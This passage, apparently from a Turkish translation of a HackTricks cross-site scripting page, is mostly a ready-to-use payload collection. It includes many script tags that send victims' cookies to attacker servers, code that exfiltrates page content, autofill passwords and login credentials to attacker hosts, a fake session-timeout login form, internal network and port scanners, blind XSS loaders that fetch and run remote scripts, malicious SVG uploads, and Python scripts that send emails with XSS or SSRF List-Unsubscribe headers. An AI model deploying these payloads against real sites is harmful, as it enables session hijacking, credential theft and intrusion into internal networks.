<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Eğer cookie’de HTTPOnly flag’i set edilmişse, JavaScript ile cookies’e erişemezsiniz. Ancak burada şanslıysanız bu korumayı atlatmanın bazı yolları var.
Sayfa İçeriğini Çal
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Dahili IP’leri Bul
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kısa süreler bir porta yanıt verildiğini gösterir Daha uzun süreler yanıt olmadığını gösterir.
Chrome’da yasaklanan portların listesini here ve Firefox’ta here inceleyin.
Kimlik bilgilerini isteme kutusu
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Otomatik doldurma şifrelerinin yakalanması
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Parola alanına herhangi bir veri girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse ve hiçbir şey yazmasa bile kimlik bilgileri sızdırılacaktır.
If a critical handler (e.g., function DoLogin(){...}) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a const with the same name first to preempt and lock the handler. Later function declarations cannot rebind a const name, leaving your hook in control:
Eğer kritik bir handler (ör. function DoLogin(){...}) sayfada daha sonra tanımlanıyorsa ve payload’unuz daha önce çalışıyorsa (ör. inline JS-in-JS sink aracılığıyla), handler’ı öne almak ve kilitlemek için aynı ada sahip bir const’u önce tanımlayın. Daha sonraki function deklarasyonları bir const ismini yeniden bağlayamaz; bu durumda hook kontrolü elinizde tutar:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notlar
- Bu, yürütme sırasına dayanır: your injection meşru tanımlamadan önce çalışmalıdır.
- Eğer payload’ınız
eval(...)içinde sarılıysa,const/letbağlamaları globals olmaz. Gerçek bir global, non-rebindable binding sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”’taki dynamic<script>injection technique’i kullanın. - Anahtar kelime filtreleri kodu engellediğinde, yukarıda gösterildiği gibi Unicode-escaped identifiers veya
eval(atob('...'))teslimatı ile birleştirin.
Keylogger
Sadece github’da arama yaparken birkaç farklı tane buldum:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Ayrıca metasploit
http_javascript_keylogger’ı kullanabilirsiniz
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage mesajlarını çalma
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Service Workers’ın Kötüye Kullanımı
Shadow DOM’a Erişim
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Ayrıca şunu kullanabilirsiniz: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Gizli İçeriğe Erişim
Bu this writeup sayesinde bazı değerler JS’ten kaybolsa bile, farklı nesnelerdeki JS attribute’larında hâlâ bulunabileceğini öğrenebilirsiniz. Örneğin, bir REGEX girdisi, regex girişinin değeri kaldırıldıktan sonra bile hâlâ bulunabilir:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS ile diğer zafiyetlerin kötüye kullanımı
Markdown’da XSS
Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edersin! Kontrol et:
XSS’ten SSRF’ye
Önbellekleme kullanan bir site’de XSS mi buldun? Bunu SSRF’ye yükseltmeyi Edge Side Include Injection ile şu payload ile dene:
<esi:include src="http://yoursite.com/capture" />
Bunu cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını atlatmak için kullanın!
More information about this technique here: XSLT.
XSS in dynamic created PDF
Eğer bir web sayfası kullanıcı kontrollü girdi kullanarak bir PDF oluşturuyorsa, PDF oluşturan botu kandırarak keyfi JS kodu çalıştırmasını sağlayabilirsiniz.
Yani, eğer PDF oluşturucu bot bazı HTML etiketleri bulursa, bunları yorumlayacak ve bu davranışı kötüye kullanarak bir Server XSS tetikleyebilirsiniz.
Eğer HTML etiketleri enjekte edemiyorsanız, PDF verisi enjekte etmeyi denemek faydalı olabilir:
XSS in Amp4Email
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparken işlevselliği sağlamak için JavaScript ile desteklenmiş HTML etiketlerini kullanır. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara AMP components üzerinden erişilebilir.
The AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-posta içinde etkileşim kurmasını sağlar.
Example writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
RFC 2369 List-Unsubscribe header’ı, birçok webmail ve mail istemcisinin otomatik olarak “Unsubscribe” düğmelerine dönüştürdüğü saldırgan kontrollü URI’leri gömer. Bu URI’ler doğrulanmadan render edilir veya fetch edilirse, header hem stored XSS (unsubscribe link DOM’a yerleştirilirse) hem de SSRF (sunucu kullanıcının yerine unsubscribe isteğini yaparsa) için bir injection noktası haline gelir.
Stored XSS via javascript: URIs
- Kendinize bir e-posta gönderin; header
javascript:URI’sine işaret etsin ve mesajın geri kalanını spam filtrelerinin düşürmemesi için zararsız tutun. - UI’nin değeri render ettiğinden emin olun (birçok istemci bunu bir “List Info” panelinde gösterir) ve ortaya çıkan
<a>tag’ininhrefveyatargetgibi saldırgan kontrollü öznitelikleri devralıp devralmadığını kontrol edin. - Link
target="_blank"kullandığında çalıştırmayı tetikleyin (ör. CTRL+click, middle-click veya “open in new tab”); tarayıcılar sağlanan JavaScript’i webmail uygulamasının origin’inde değerlendirecektir. - stored-XSS primitive’sini gözlemleyin: payload e-postayla birlikte kalır ve çalışması için yalnızca bir tıklama gerektirir.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
URI’deki yeni satır baytı (%0a), Horde IMP H5 gibi savunmasız istemcilerde bile sıra dışı karakterlerin render işleminden geçtiğini gösterir; bu istemciler a etiketi içinde dizeyi olduğu gibi görüntüler.
Kötü amaçlı List-Unsubscribe başlığı ileten Minimal SMTP PoC
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Sunucu tarafı abonelik iptali proxy'leri -> SSRF
Bazı istemciler, örneğin Nextcloud Mail app, unsubscribe işlemini sunucu tarafında proxy'ler: düğmeye tıklamak sunucunun sağlanan URL'yi kendisinin fetch etmesini sağlar. Bu, header'ı bir SSRF primitive'ine dönüştürür; özellikle yöneticiler `'allow_local_remote_servers' => true` olarak ayarladığında (belgelenmiş: [HackerOne report 2902856](https://hackerone.com/reports/2902856)), bu loopback ve RFC1918 aralıklarına istek yapılmasına izin verir.
1. **Bir e-posta oluşturun**; `List-Unsubscribe` saldırgan kontrollü bir endpoint'e işaret etsin (blind SSRF için Burp Collaborator / OAST kullanın).
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click`'i koruyun** ki UI tek tıklamalık abonelik iptali düğmesi göstersin.
3. **Güven gereksinimlerini karşılayın**: örneğin Nextcloud, mesaj DKIM'i geçtiğinde yalnızca HTTPS unsubscribe istekleri yapar, bu yüzden saldırgan e-postayı kontrol ettiği bir domain ile imzalamalıdır.
4. **Mesajı hedef sunucu tarafından işlenen bir posta kutusuna teslim edin** ve bir kullanıcının unsubscribe düğmesine tıklamasını bekleyin.
5. **Sunucu tarafı callback'i** collaborator endpoint'inde gözlemleyin; primitive doğrulandıktan sonra dahili adreslere pivot yapın.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
SSRF testi için DKIM-signed List-Unsubscribe mesajı
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Test notları**
- Blind SSRF kayıtlarını toplamak için bir OAST endpointi kullanın, ardından primitive doğrulandıktan sonra `List-Unsubscribe` URL'sini `http://127.0.0.1:PORT`, metadata servisleri veya diğer iç hostlara hedefleyecek şekilde uyarlayın.
- Unsubscribe helper genellikle uygulamayla aynı HTTP yığınını yeniden kullandığı için onun proxy ayarlarını, HTTP verbs'lerini ve header yeniden yazımlarını devralırsınız; bu da [SSRF methodology](../ssrf-server-side-request-forgery/README.md) içinde anlatılan ilave traversal hilelerini mümkün kılar.
### XSS dosya yükleme (svg)
Aşağıdakine benzer bir dosyayı resim olarak yükleyin (kaynak: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Daha fazla SVG payloads için bak: https://github.com/allanlw/svg-cheatsheet
Diğer JS İpuçları ve İlgili Bilgiler
Misc JS Tricks & Relevant Info
XSS kaynakları
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referanslar
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

